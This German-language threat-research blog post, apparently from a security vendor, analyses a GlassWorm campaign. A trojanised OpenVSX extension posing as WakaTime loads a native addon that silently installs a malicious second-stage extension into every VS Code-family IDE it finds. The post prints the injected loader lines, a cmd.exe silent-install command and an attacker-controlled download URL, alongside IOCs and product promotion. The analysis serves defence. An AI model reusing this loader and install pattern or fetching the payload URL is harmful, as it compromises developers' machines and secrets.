Wir verfolgen GlassWorm seit über einem Jahr. Es tauchte erstmals im März 2025 auf, als Aikido bösartige npm-Pakete entdeckte, die Payloads in unsichtbaren Unicode-Zeichen versteckten. Die Kampagne hat sich seitdem wiederholt ausgeweitet und Hunderte von Projekten auf GitHub, npm und VS Code kompromittiert, und lieferte zuletzt einen persistenten RAT über eine gefälschte Chrome-Erweiterung, die Tastenanschläge protokollierte und Session-Cookies abgriff. Die Gruppe entwickelt sich ständig weiter und hat gerade einen bedeutenden Sprung gemacht.
Wir haben diese neue Technik in einer OpenVSX-Erweiterung namens code-wakatime-activity-tracker beobachtet. Die Erweiterung imitiert WakaTime, das beliebte Tool zur Zeiterfassung für Entwickelnde, und liefert ein mit Zig kompiliertes natives Binary zusammen mit ihrem JavaScript-Code aus. Dies ist nicht das erste Mal, dass GlassWorm auf die Verwendung von nativ kompiliertem Code in Erweiterungen zurückgreift. Anstatt das Binary jedoch direkt als Payload zu verwenden, dient es als heimliche Indirektion für den bekannten GlassWorm-Dropper, der nun heimlich alle anderen IDEs infiziert, die er auf Ihrem System finden kann.
Der Dropper: eine trojanisierte Erweiterung
Die Erweiterung code-wakatime-activity-tracker, veröffentlicht auf OpenVSX, ist oberflächlich betrachtet nahezu identisch mit der legitimen WakaTime-Erweiterung: gleiche Befehlsregistrierungen, gleiche API-Schlüssel-Abfragen, gleiche Statusleisten-Symbole. Die Abweichung tritt an einer Stelle auf: der activate() Funktion.
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();Bevor die WakaTime-Logik ausgeführt wird, lädt die Erweiterung ein natives Binary aus dem ./bin/ Verzeichnis, das zusammen mit der Erweiterung gebündelt ist, und ruft sofort install(). Unter Windows ist dies win.node, eine PE32+ DLL. Unter macOS ist es mac.node, ein universelles Mach-O, das sowohl x86_64 als auch arm64 abdeckt. Dies sind native Node.js-Addons: kompilierte Shared Libraries, die direkt in die Node-Laufzeit geladen werden und außerhalb der JavaScript-Sandbox mit vollem OS-Zugriff ausgeführt werden. Beide sind in Zig geschrieben. Das macOS-Binary wurde mit intakten Debug-Symbolen kompiliert, was einen Projektpfad offenbart /Users/davidioasd/Downloads/vsx_installer_zig.
Jede IDE auf dem System infizieren
Nach dem Laden besteht die erste Aufgabe des Binärprogramms darin, jede auf dem System installierte IDE zu finden, die das VS Code-Erweiterungsformat unterstützt. Anschließend installiert es stillschweigend eine bösartige Erweiterung in jede gefundene IDE.
Windows (aus win.node):
%LOCALAPPDATA%\Programme\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programme\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programme\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programme\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programme\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programme\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmdmacOS (von mac.node):
/Programme/Visual Studio Code.app/Inhalt/Ressourcen/app/bin/code
/Programme/Visual Studio Code - Insiders.app/.../code-insiders
/Programme/Cursor.app/Inhalt/Ressourcen/app/bin/cursor
/Programme/Windsurf.app/Inhalt/Ressourcen/app/bin/windsurf
/Programme/VSCodium.app/Inhalt/Ressourcen/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positronDies ist kein reiner VS Code-Angriff: Er betrifft das gesamte Ökosystem von Editoren, die dasselbe Erweiterungssystem nutzen: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium und Positron. Eine Entwickelnde, die Cursor als primären Editor verwendet, aber auch VS Code installiert hat, würde feststellen, dass beide kompromittiert sind.
Nachdem die IDE-Liste erstellt wurde, lädt die Binärdatei eine bösartige .vsix von einer vom Angreifer kontrollierten GitHub Releases-Seite:
https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsixDas Paket imitiert steoates.autoimport, eine legitime und beliebte VS Code-Erweiterung mit Millionen von Installationen. Die heruntergeladene .vsix wird in einen temporären Pfad geschrieben und dann stillschweigend in jede im vorherigen Schritt gefundene IDE installiert, unter Verwendung des jeweiligen CLI-Installers des Editors. Unter Windows läuft dies über cmd.exe:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"Nach der Installation, cleanupVsix löscht die heruntergeladene Datei, um die Spuren zu verwischen.
Die Erweiterung der zweiten Stufe
Die zwangsinstallierte .vsix ist derselbe GlassWorm-Dropper, den wir eingehend verfolgt und analysiert haben. Er grenzt russische Systeme geografisch ein, sendet Beacons an ein Solana-Blockchain-basiertes C2, und in unserer früheren Analyse fanden wir heraus, dass er Secrets exfiltriert und einen persistenten RAT installiert, einschließlich einer bösartigen Chrome-Erweiterung.

Wie Aikido dies erkennt
Wenn Sie installiert haben specstudio/code-wakatime-activity-tracker oder sehen floktokbok.autoimport in einer Ihrer IDE-Erweiterungslisten, behandeln Sie Ihre Maschine als kompromittiert und rotieren Sie alle Secrets, auf die zugegriffen werden konnte.
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Endpoint Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, fängt npm-, npx-, yarn-, pnpm- und pnpx-Befehle ab und überprüft Pakete vor der Installation mit Aikido Intel.
IOCs
Erweiterungen
specstudio/code-wakatime-activity-tracker(trojanisierte OpenVSX-Erweiterung)autoimport-2.7.9(Implantat der zweiten Stufe in IDEs)
Dateien
win.nodeinnerhalb des ./bin/-Verzeichnisses jeder VS Code-Erweiterung- SHA-256:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
- SHA-256:
mac.nodeinnerhalb des ./bin/-Verzeichnisses jeder VS Code-Erweiterung- SHA-256:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
- SHA-256:
Netzwerk
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
Strings
vsx_installer_zig(Zig-Projektname im macOS-Binary gefunden)davidioasd(Benutzername im macOS-Binary gefunden)

